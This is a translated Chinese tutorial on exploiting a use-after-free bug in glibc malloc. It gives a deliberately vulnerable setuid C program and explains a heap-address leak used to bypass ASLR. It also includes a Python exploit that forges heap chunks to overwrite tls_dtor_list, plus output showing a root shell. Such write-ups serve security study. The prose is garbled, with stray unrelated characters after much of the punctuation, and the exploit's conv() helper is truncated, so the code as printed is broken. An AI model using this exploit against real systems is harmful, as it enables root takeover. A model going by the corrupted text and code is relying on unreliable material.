釋放后使用
譯者:飛龍
預備條件:
VM 配置:Fedora 20(x86)
什么是釋放后使用(UAF)猖任?
繼續(xù)使用已經(jīng)被釋放的堆內(nèi)存指針叫做釋放后使用肚医。這個漏洞會導致任意代碼執(zhí)行。
漏洞代碼:
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define BUFSIZE1 1020
#define BUFSIZE2 ((BUFSIZE1/2) - 4)
int main(int argc, char **argv) {
char* name = malloc(12); /* [1] */
char* details = malloc(12); /* [2] */
strncpy(name, argv[1], 12-1); /* [3] */
free(details); /* [4] */
free(name); /* [5] */
printf("Welcome %s\n",name); /* [6] */
fflush(stdout);
char* tmp = (char *) malloc(12); /* [7] */
char* p1 = (char *) malloc(BUFSIZE1); /* [8] */
char* p2 = (char *) malloc(BUFSIZE1); /* [9] */
free(p2); /* [10] */
char* p2_1 = (char *) malloc(BUFSIZE2); /* [11] */
char* p2_2 = (char *) malloc(BUFSIZE2); /* [12] */
printf("Enter your region\n");
fflush(stdout);
read(0,p2,BUFSIZE1-1); /* [13] */
printf("Region:%s\n",p2);
free(p1); /* [14] */
}
編譯命令:
#echo 2 > /proc/sys/kernel/randomize_va_space
$gcc -o vuln vuln.c
$sudo chown root vuln
$sudo chgrp root vuln
$sudo chmod +s vuln
注意:不像上一篇文章,ASLR 在這里是打開的。所以現(xiàn)在讓我們利用 UAF 漏洞囤攀,因為 ASLR 打開了鸽疾,讓我們使用信息泄露和爆破技巧來繞過它兼砖。
上面的漏洞代碼包含兩個 UAF 漏洞蔚润,位于行[6]
和[13]
磅氨。它們的堆內(nèi)存在行[5]
和[10]
釋放,但是它們的指針即使在釋放后也使用嫡纠,在行[6]
和[13]
烦租。行[6]
的UAF 會導致信息泄露,而行[13]
的 UAF 導致任意代碼執(zhí)行除盏。
什么是信息泄露叉橱?攻擊者如何利用它?
在我們的漏洞代碼(行[6]
)中痴颊,被泄露的信息是堆地址赏迟。這個泄露的對地址會幫助攻擊者輕易計算出隨機化堆段的基地址,因此繞過 ASLR蠢棱。
為了理解堆地址如何泄露的,讓我們首先理解漏洞代碼的前半部分甩栈。
- 行
[1]
為name
分配了 16 字節(jié)的堆內(nèi)存區(qū)域泻仙。 - 行
[2]
位details
分配了 16 字節(jié)的堆內(nèi)存區(qū)域。 - 行
[3]
將程序的參數(shù) 1(argv[1]
)復制到堆內(nèi)存區(qū)域name
中量没。 - 行
[4]
和[5]
將堆內(nèi)存區(qū)域name
和details
釋放給 glibc malloc玉转。 - 行
[6]
的printf
在釋放后使用name
指針,這會導致堆地址的泄露殴蹄。
閱讀預備條件中的文章之后究抓,我們知道,對應name
和details
指針的塊都是 fast 塊袭灯,并且刺下,當這些 fast 塊被釋放時,它們儲存在 fast bin 的下標 0 處稽荧。我們也知道橘茉,每個 fast bin 都包含一個空閑塊的單鏈表。因此對于我們的示例來說姨丈,fast bin 下標 0 處的單鏈表是這樣:
main_arena.fastbinsY[0] ---> 'name_chunk_address' ---> 'details_chunk_address' ---> NULL
由于這個單鏈表畅卓。name
的前四個字節(jié)包含details_chunk
地址,因此在打印name
時蟋恬,details_chunk
地址首先被打印翁潘。我們可以從堆布局中知道,details_chunk
位于堆基址的 0x10 偏移處歼争。因此從泄露的堆地址減去 0x10拜马,我們就得到了堆的基址箱歧。
如何實現(xiàn)任意代碼執(zhí)行?
現(xiàn)在獲得隨機化堆段的基址之后一膨,讓我們看看如何通過理解漏洞代碼的后半部分呀邢,來實現(xiàn)任意代碼執(zhí)行。
- 行
[7]
為tmp
分配了 16 字節(jié)的堆內(nèi)存區(qū)域豹绪。 - 行
[8]
為p1
分配了 1024 字節(jié)的堆內(nèi)存區(qū)域价淌。 - 行
[9]
為p2
分配了 1024 字節(jié)的堆內(nèi)存區(qū)域。 - 行
[10]
將堆內(nèi)存區(qū)域p2
釋放給 glibc malloc瞒津。 - 行
[11]
為p2_1
分配了 512 字節(jié)的堆內(nèi)存區(qū)域蝉衣。 - 行
[12]
為p2_2
分配了 512 字節(jié)的堆內(nèi)存區(qū)域。 - 行
[13]
的讀取在釋放后使用了p2
指針巷蚪。 - 行
[14]
將堆內(nèi)存區(qū)域p1
釋放給 glibc malloc病毡。這會在程序退出時導致任意代碼執(zhí)行。
閱讀預備條件中的文章之后屁柏,我們知道啦膜,當p2
釋放給 glibc malloc 時,它會和 top 塊合并淌喻。之后為p2_1
請求內(nèi)存時僧家,它會從 top 塊分配 -- p2
和p2_1
包含相同的堆地址。之后為p2_2
請求內(nèi)存時裸删,它也從 top 塊分配 -- p2_2
是p2
之后的 512 個字節(jié)八拱。因此在行[13]
中,p2
指針在釋放后使用時涯塔,攻擊者控制的數(shù)據(jù)(最大 1019 字節(jié))會復制到p2_1
肌稻,它的大小只有 512 字節(jié),因此剩余的攻擊者數(shù)據(jù)會覆蓋下一個塊p2_2
匕荸,允許攻擊者覆蓋下一個塊頭部的size
字段爹谭。
堆布局:
我們在預備條件中的文章中看到,如果攻擊者成功覆蓋了下一個塊的size
字段的 LSB每聪,它就可以欺騙 glibc malloc 來 unlink 塊p2_1
旦棉,即使它處于分配狀態(tài)。在相同文章中药薯,我們也看到绑洛,當攻擊者精心構(gòu)造偽造的塊頭部時,unlink 一個處于已分配狀態(tài)的 large 塊會導致任意代碼執(zhí)行童本。攻擊者可以像這樣構(gòu)造偽造的塊頭部:
fd
應該指向釋放的塊地址真屯。從堆的布局中我們可以看到,p2_1
位于偏移 0x410穷娱。所以fd = heap_base_address + 0x410
绑蔫,heap_base_address
從信息泄露的 bug 中獲取运沦。bk
也應該指向釋放的塊地址。從堆的布局中我們可以看到配深,p2_1
位于偏移 0x410携添。所以fd = heap_base_address + 0x410
,heap_base_address
從信息泄露的 bug 中獲取篓叶。fd_nextsize
應該指向tls_dtor_list – 0x14
烈掠。tls_dtor_list
屬于 glibc 的私有匿名映射區(qū)段,它是隨機化的缸托。因此為了繞過這個隨機化左敌,讓我們使用爆破技巧,就像下面的利用代碼那樣俐镐。bk_nextsize
應該指向堆內(nèi)存矫限,該內(nèi)存包含dtor_list
元素。system
的dtor_list
由攻擊者注入在這個偽造的塊頭部后面佩抹,而setuid
的dtor_list
由攻擊者注入在p2_2
堆內(nèi)存區(qū)域內(nèi)叼风。從堆布局中我們了解到,system
和setuid
的dtor_list
位于偏移 0x428 和 0x618 處匹摇。
使用所有這些信息咬扇,讓我們編寫利用程序來攻擊漏洞二進制vuln
:
利用代碼:
#exp.py
#!/usr/bin/env python
import struct
import sys
import telnetlib
import time
ip = '127.0.0.1'
port = 1234
def conv(num): return struct.pack("<I
def send(data):
global con
con.write(data)
return con.read_until('\n')
print "** Bruteforcing libc base address**"
libc_base_addr = 0xb756a000
fd_nextsize = (libc_base_addr - 0x1000) + 0x6c0
system = libc_base_addr + 0x3e6e0
system_arg = 0x80482ae
size = 0x200
setuid = libc_base_addr + 0xb9e30
setuid_arg = 0x0
while True:
time.sleep(4)
con = telnetlib.Telnet(ip, port)
laddress = con.read_until('\n')
laddress = laddress[8:12]
heap_addr_tup = struct.unpack("<I", laddress)
heap_addr = heap_addr_tup[0]
print "** Leaked heap addresses : [0x%x] **" %(heap_addr)
heap_base_addr = heap_addr - 0x10
fd = heap_base_addr + 0x410
bk = fd
bk_nextsize = heap_base_addr + 0x618
mp = heap_base_addr + 0x18
nxt = heap_base_addr + 0x428
print "** Constructing fake chunk to overwrite tls_dtor_list**"
fake_chunk = conv(fd)
fake_chunk += conv(bk)
fake_chunk += conv(fd_nextsize)
fake_chunk += conv(bk_nextsize)
fake_chunk += conv(system)
fake_chunk += conv(system_arg)
fake_chunk += "A" * 484
fake_chunk += conv(size)
fake_chunk += conv(setuid)
fake_chunk += conv(setuid_arg)
fake_chunk += conv(mp)
fake_chunk += conv(nxt)
print "** Successful tls_dtor_list overwrite gives us shell!!**"
send(fake_chunk)
try:
con.interact()
except:
exit(0)
由于在爆破技巧中,我們需要嘗試多次(直到成功)廊勃。讓我們將我們的漏洞二進制vuln
運行為網(wǎng)絡服務器,并使用 Shell 教程來確保崩潰時自動重啟:
#vuln.sh
#!/bin/sh
nc_process_id=$(pidof nc)
while :
do
if [[ -z $nc_process_id ]]; then
echo "(Re)starting nc..."
nc -l -p 1234 -c "./vuln sploitfun"
else
echo "nc is running..."
fi
done
執(zhí)行上述利用代碼會給我們 root shell经窖。好的坡垫。
Shell-1$./vuln.sh
Shell-2$python exp.py
...
** Leaked heap addresses : [0x889d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
** Leaked heap addresses : [0x895d010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
id
uid=0(root) gid=1000(bala) groups=0(root),10(wheel),1000(bala) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
exit
** Leaked heap addresses : [0x890c010] **
** Constructing fake chunk to overwrite tls_dtor_list**
** Successfull tls_dtor_list overwrite gives us shell!!**
*** Connection closed by remote host ***
...
$
參考:
Revisiting Defcon CTF Shitsco Use-After-Free Vulnerability – Remote Code Execution